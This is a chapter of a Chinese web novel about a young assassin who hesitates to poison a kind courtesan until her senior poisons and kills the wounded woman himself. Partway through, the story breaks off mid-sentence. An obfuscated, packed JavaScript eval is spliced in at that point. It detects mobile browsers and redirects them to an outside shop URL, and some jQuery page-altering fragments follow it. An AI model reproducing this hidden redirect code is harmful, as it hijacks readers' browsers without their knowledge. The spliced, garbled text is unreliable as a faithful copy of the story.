在小七进门之前,雨便下了下来,她虽未带伞,但茶楼同妓院间不过三两步路,虽然头发和衣服都湿了些,但也是很快就等你晾干的程度,不打紧的。
虽然只相处了短短几天,但小七能够感受到,柳香凝同她所接触过的其他人都是不同的,无论是在妓院里,亦或是黯月阁。她是个很温柔的人。她是有花魁的架子的,可那是对着鸨母,对着客人。与姐妹们交谈的时候她虽不常笑,但字字句句都认真去听,设身处地的去想。让自己到她身边帮衬,并不是因为她缺人,而是因为只有这样才能让她这个没有姣好容貌的孤女少受些欺负。
哪怕小七并不真的需要她的帮助,却也感受到了她的用心。
她没去柳香凝处,而是径直往一楼偏僻的耳房处走去,姑娘们的膳食、汤药都是在那里熬制的。可得离着正厅远些,毕竟这里无论客人姑娘,都是十指不沾阳春水的。
可温柔又有什么用?有人出钱买她的命,顾司正是最忠心的傀,而沈大人则是阁中数一数二的杀手,他们愿意给自己表现的机会,她又怎能抓不住,她不是从得到监视任务开始,就一直在期待自己能够派上用场的这个时刻吗?可为什么此时此刻,她没有半点兴奋,只觉得怀中的那一小瓶毒药很沉,自己的手好冷。
她走近耳房已闻到了泛着苦涩的药味,补血益气的药熬煮后,闻起来也透着股淡淡的血腥味。她前几日明明一日两次,也要捏着鼻子将药喝完,为何看见了那封信,便态度发生了如此大的变化?想到这处小七停顿了脚步,可她又想起无论是顾司正还是沈大人,他们都是不关心这些的,关心一个将死之人的行为是没有意义的。
她咬了咬牙,对开厨房的门。
替柳香凝煎药并不是由小七负责,但将药从厨房端入房间,从第一天起就是她的活儿了。顾司正的判断是正确的,她是最方便动手的人。况且先下是午后,暖香阁中的女人们大多都还睡着,根本无人在意她。多简单的任务,只要下了毒就行,她死掉任务就完成了,自己可以得到名字,可以成为同顾司正一般正式的傀,能够跟随阁主左右,这才是她想要的。
柳香凝……柳姐姐她,还是死掉比较好。
她揭开盖子,掏出顾司正交代的药,拔出瓶盖时手却开始发抖。
她们明明只相处了短短几日,某些细碎的日常却向是刻入了她脑子里一般,会在不合时宜的时候冒出来。
最开始,她一边替她擦掉手上的学习,一边柔柔的对她笑:“染翠病了,我身边缺个人照顾,你愿不愿意跟我?”
金吾卫来砸场子的那天,是她站出来将害怕的发抖的妹妹们拦在身后:“我如约再没见过小秦公子,京兆尹的官爷丢了自家小公子,差官差私用来巡,是什么规矩?”
再后来她在床上养着,小七替她跑腿、取药,她会摸她的头:“谢谢,没有你我可真不知道该如何是好了。”
活生生的人命,原来是那么昂贵的东西……
“下个毒你都这么犹犹豫豫的?我就同青衣姐姐说了,交给你倒不如我来。”一个熟悉的声音突然从背后响起,一只手从背后伸出,取走她手中的毒。
是沈墨,他也不知是如何进来的,从头到尾悄无声息,走路脚步没有声音。他方才在外面还淋了雨,被水打湿的乌发黏在脸上,易容的药膏也被泡得起了皮,整个人看着像是鬼一样。
“你……你怎么……”小七不自觉后退两步,险些撞到燃火的炉子,被沈墨眼疾手快的伸手抓住肩。
他顶着那张扭曲变形的脸对小七一笑:“这是我的任务。”说着他还晃了晃手中那瓶毒药,他两根手指便弄开了盖子,往安胎药中滴了三滴,乳白色的毒与沸腾的药液混在一起,眨眼间便消失无痕了。
他的手比她稳得多,下毒的时候,那些不正经的笑啊,那些不愿意杀人的话啊,通通都不见了,他就只是一只杀人鬼,冰冷果断没有丝毫犹豫。
“沈大人……”任务被他夺了回去,小七不知道自己应该做什么了,她站在原地,可心中竟然没有多少失落,反而感到一阵轻松。
“小七你还没杀过人吧。”他松开她的肩,却又揉了揉她的脑袋,这是把她当小孩子呢。
她点点头,待她反应过来沈墨在做什么时,又捂着头躲开:“沈大人问在这是何意?”
“你在怕。”他将药瓶收入自己怀中,一针见血的点破小七。
“我……”她想反驳,却知道那双没有笑意的眼睛已将她看穿。“是属下的错,属下不够果断、不够……”
“不。”沈墨出言打断她,他对着小七摇了摇头:“你还不明白,杀人这种事,它不该是一件能够轻松做到的事。”
这句话小七没听明白,但沈墨并没有同她解释,他顶着那张怪异扭曲的面具,向她竖起两根手指:“我呢,现在给你两个选择。第一,亲自去把药端给她,你甚至不需要骗她喝下,只要什么都不说就可以了。第二,我同你一起去,我把药灌下去。”
“我……”小七在犹豫。
沈墨见状轻笑:“无论你选什么,我都会向上头汇报,杀人的是你,你即便什么都不做也可以得到名字。”
…………
小七选了第一个,这种事她必须是要亲手完成才作数的吧。
沈墨在她做决定后便消失了,他应当还在暗处,并没有走远,小七感觉得到。只是就连这种感觉,也是他故意泄露给她的,沈大人果然一如传言般,厉害的深不可测。
她端着的那碗汤药与平日里的,无论是看上去还是闻起来都并无区别,同平时的一模一样,所以自己也不能表现出任何差池。
她端着药踏上楼梯,走廊上人本就不多,大家都是眼熟的,便没人在意她。靠近柳香凝房间时,小七到一股飘散出来的诡异气味。本该只有血腥味的,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975410|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知是谁在她房中燃了熏香,太过浓郁的气味同血混在一起,冲的人想吐。若不是因为楼中大多人此刻都在补眠,一定是会惊动整层楼的人的。
不祥的预感在小七心中扩散。
“花魁娘子!”她推开门,看到满地的鲜血,在那其中,从柳香凝□□滑出的,是一团血肉模糊的肉块。
沈墨就站在旁边,并不是他动的手,他就在她来前两步,由窗翻入房间,除了鞋底,他身上并无其他地方沾染血迹。何况……人还活着。
“怎么会这样!”小七险些把手中药摔到地上。
沈墨从床头拿起那封染了血的书信,他看到了上头的内容,眼底如结了一层严霜:“早这样不是省了我们不少事吗?”他冷笑,这场刺杀从头到尾都荒诞的让人想笑,可这满地的鲜血却让人笑不出来。
“沈……沈大人……”小七不明白,她又不是第一次见这么多血。
成为鸦后她也处理过不少尸体,接触过各种可怖伤口,甚至目睹过残酷的刑讯。但那些血对她而言是冷冰冰的、毫不相干的,只是任务的组成部分。而眼前这四处蔓延的、温热的血,以及血泊中那团模糊的肉块,是属于活生生的人的。
那个会摸她头、对她笑着说“谢谢”的柳香凝,此刻面色惨白的倒在地上,她身上唯一的沾染着的红,就是那满地的血。
这次,单单只有这次,小七觉得自己手脚冰冷,浑身一阵阵的发抖:“沈大人,怎么办?她还活着。”
柳香凝确实整个下半身都是被染透了,可她只是失血过多晕了过去,她还没有死,她还有呼吸。
可他们来这是为了取她性命不是吗?可现下这样该怎么办?小七是知道的,柳香凝根本不想死,就算变成了现在这幅模样,她还在求活,她还想活着。
沈墨先小七一步动了,他沉默着将信塞入衣襟,然后从她手中取过药碗。
小七呆呆的望着他:“沈大人……我们……”她声音发颤,几乎语无伦次,“一定要现在吗?她可能……可能自己就会……”
“自己就会死?”沈墨微笑着替她说完了,语气平淡没有波澜,听上去竟有点像是与他朝夕相处的顾青衣:“失血这么多,放任不管大约熬不过半个时辰。但若她醒了求救怎么办?有人误闯进来又怎么办?”他托起昏迷人的后颈,一口口将药灌了下去:“我们的任务不是‘或许’,是‘确保’……”确保她一定会死。
最后几个字,沈墨并没有说出口。
窗外不止是雨,连同雷鸣和闪电也一起落了下来,昏暗的天空,沉重的乌云,震慑人心的闪电,那个瞬间小七终于回想起了关于沈墨的一件事。
“他之所以被阁主如此器重,是因为他是阁中这十年来最出色,最有天赋的杀手,他聪颖、残酷、冷血无情,曾经是被赐予‘无常鬼’称号的首座。”雨幕中,顾青衣在远处望着这一切,她知道任务结束了。